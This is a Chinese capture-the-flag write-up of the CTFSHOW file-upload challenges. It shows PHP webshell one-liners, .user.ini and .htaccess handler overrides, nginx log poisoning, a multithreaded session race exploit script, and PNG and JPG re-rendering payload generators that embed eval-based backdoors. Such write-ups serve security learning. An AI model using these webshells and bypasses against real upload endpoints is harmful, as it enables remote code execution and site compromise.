CTFSHOW-文件上传

文章发布时间:

最后更新时间:

  1. 前台校验

    image-20220904102825916

前段代码有限制文件后缀为png文件,抓包修改即可,里面写一句话木马

image-20220904103259361

  1. 后端不能单一校验

    这关应该就是前段验证后缀+后端验证Content-Type,思路和上一关一致

  2. 后端不能单一校验

    沿用上一关思路,会出现文件上传失败,失败原因:文件类型不合规

    这一关考察上传.user.ini文件绕过

    使用前提:因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以

    upload/index.php存在,那么就可以利用.user.ini文件包含一个一句话木马

    1
    2
    .user.ini
    auto_prepend_file=1.png
 <img src="./CTF-SHOW 文件上传做题记录/image-20220904105848600.png" alt="image-20220904105848600" style="zoom:50%;" />

 <img src="./CTF-SHOW 文件上传做题记录/image-20220904105958782.png" alt="image-20220904105958782" style="zoom:50%;" />
  1. 后端不能单二校验

    这一关检测的是上传文件内容中不能包含<(.*)php

    所以更换简约的php标签

    1
    2
    3
    4
    5
    6
    7
    8
    1. 条件:short_open_tags=on
    <? xxx ?>
    2. 无条件
    <?= xxx ?>
    3. 条件: 开启配置参数asp_tags=on 且php版本 < 7.0
    <% xxx %>
    4. 条件:php版本 < 7.0
    <script language="php">xxx</script>

    不过依然会检验php后缀,所以还是得上传一个.user.ini

  2. 后端不能单三校验

    可以继续打

  3. 后端不能单四校验

    这关对[]有过滤,这里可以利用{}来绕过

    image-20220904111853140

  4. 后端不能单五校验

    过滤了{}和分号

    我们已经知道了flag.php的位置在../flag.php所以直接输出

    1
    <?= system('more ../fl*') ?>
  5. 同理

  6. 后端不能单六校验

    过滤了括号,直接用反引号执行系统命令

    1
    <?= `more ../fla*` ?>
  7. 日志包含

    过滤了括号反引号还有一些关键字

    这一关我们不再能直接去上传一个内容中包含恶意代码的文件了,因为过滤的太多。思路转变为在日志中被动写入恶意代码。我们在一些请求头中携带的参数都会出现在日志当中,而后端并未对着一部分的内容作校验,所以可以实现绕过。那么如何能在upload目录下得到日志文件的内容呢?继续用.user.ini的作用包含日志文件的内容。

    题目的中间件平台为nginx服务器,所以日志文件为/var/log/nginx/access.log,而log关键字被过滤了,我们采用字符串拼接的方式来绕过

    1
    2
    3
    <?=include"/va"."r/lo"."g/ngi"."nx/a"."ccess".".l"."og"?>
    空格也过滤啦!!
    <?=include"/var/lo"."g/nginx/access.lo"."g"?>

    image-20220904114409410

image-20220904114539533

  1. 增加了文件头检查

    在上一关的基础上加入文件头

    image-20220905192827343

image-20220905193010619

  1. session文件包含

    https://www.freebuf.com/vuls/202819.html

    总结一下利用条件:

    1. 需要已知session文件存储路径,且内容可控(这一部分主要靠php的配置 + cookie)
    2. 需要存在功能点来包含session文件的内容到可以访问的文件
    3. 有文件上传时才会出现session文件

    对于条件一,我们参考链接的思路;对于条件二,利用.usr.ini文件配合;对于条件三自然不必说

    首先上传.user.ini来将session文件内容包含到/upload/index.php中

    超了,这关把.也给过滤了,或者直接对session文件进行包含也可以

image-20220905200639583

image-20220905200857127

贴一下学习的exp,主要是多线程和文件上传的运用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# coding=gbk
import requests
import threading

session = requests.session()
url1 = "http://dab9b049-0090-4749-b143-e54abfc39e80.challenge.ctf.show/upload.php"
url2 = "http://dab9b049-0090-4749-b143-e54abfc39e80.challenge.ctf.show/upload/index.php"

data = {
"PHP_SESSION_UPLOAD_PROGRESS":'<?php system("tac ../f*");?>'
}

file = {
'file':'racerz'
}

cookies = {
"PHPSESSID":"racerz"
}

def write():
while True:
r = session.post(url1, data=data, files=file, cookies=cookies)
def read():
while True:
r = session.get(url2)
print(r.text)
if "flag" in r.text:
print(r.text)
break

threads = [threading.Thread(target=write),threading.Thread(target=read)]

for i in range(30):
threading.Thread(target=write).start()
for i in range(30):
threading.Thread(target=read).start()

image-20220905203343520

线程数要开的大一点

  1. 这一关其实和大多数wp描述的不同。首先限制了访问流量,导致无法通过条件竞争的方式来将session文件包含。这里采取了.user.ini文件上传+远程文件包含的方式。我在include中请求一个远程的服务器地址,而回显的结果如果包含php代码的话则会在本地去执行。

    1. 首先针对ip的绕过,一般的ip地址是以点号分割的,而我们这关已经把点号给过滤了。但是可以将其转换成整数的形式https://www.bejson.com/convert/ip2int/

      image-20220906102747456

    2. 针对返回php代码,这里起一个flask服务,返回php代码

      image-20220906102719476

      image-20220906103236164

  2. png二次渲染

    https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

    原理:在图片中的可允许修改部分添加恶意代码(具体依据不同图片格式的结构),最后重新计算CRC校验并修改

    直接脚本小子

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <?php
    $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);

    $img = imagecreatetruecolor(32, 32);

    for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
    }

    imagepng($img,'/Users/racerz/Desktop/2.png');
    ?>

    image-20220907210841653

image-20220907211524462

  1. jpg二次渲染

    image-20220907233253334

    1
    caused by PHP functions imagecopyresized() and imagecopyresampled().
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
<?php
$miniPayload = '<?=eval($_POST[1]);?>';


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

特别说明,脚本生效需要经过二次渲染之后才可进行修改,并且并不是所有的jpg图片都可以成功

天知道我尝试了多少次….

image-20220908144016297

  1. zip文件上传

    image-20220908143025400

但好像是只做了文件类型MIME检验

那就直接修改包内容类型为application/x-zip-compressed即可

  1. 文件上传 httpd

    image-20220908143938862

    前端有检验只允许上传jpg文件

    根据httpd提示可知这是.htaccess文件中的一个配置,所以直接使用.htaccess文件上传

    payload

    1
    2
    3
    4
    5
    6
    # .htaccess文件配置
    AddType application/x-httpd-php .jpg
    # 或者
    <FilesMatch "jpg">
    SetHandler application/x-httpd-php
    </FilesMatch>

    image-20220908144843577

    之后上传含有恶意php代码的jpg文件即可

  2. 文件上传 基础免杀

    image-20220908145303461

    这里应该就是针对命令执行语句的过滤吧,如果被过滤了的话就直接访问返回404了

    这题刚开始试不出来,去wp里翻到了源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # 对文件类型的处理
    if($_FILES['file']['type'] == 'image/png'){
    $str = file_get_contents($_FILES["file"]["tmp_name"]);
    if(check($str)===0){
    move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);
    // nnd,原来是上传到了upload文件夹里
    $ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]);
    }
    # 对文件内容的处理
    preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|include|require/i', $str);

    所以其实没啥,没过滤反引号和echo,直接输出就行

    1
    <?php echo `tac ../fl*`; ?>

    image-20220908153657940

  3. 文件上传 高级免杀

    前端限制为zip,后端限制了MIME为png

    image-20220908153852171

    过滤了<?,沿用日志包含的思路

    先上传.user.ini

    1
    auto_prepend_file=/var/log/nginx/access.log

    image-20220908155414030

    后上传一个php文件,用来包含日志文件并在访问时解析其中的恶意代码

    image-20220908154758370

  4. 文件上传 终极免杀

    虽说终极,但是和上一题同理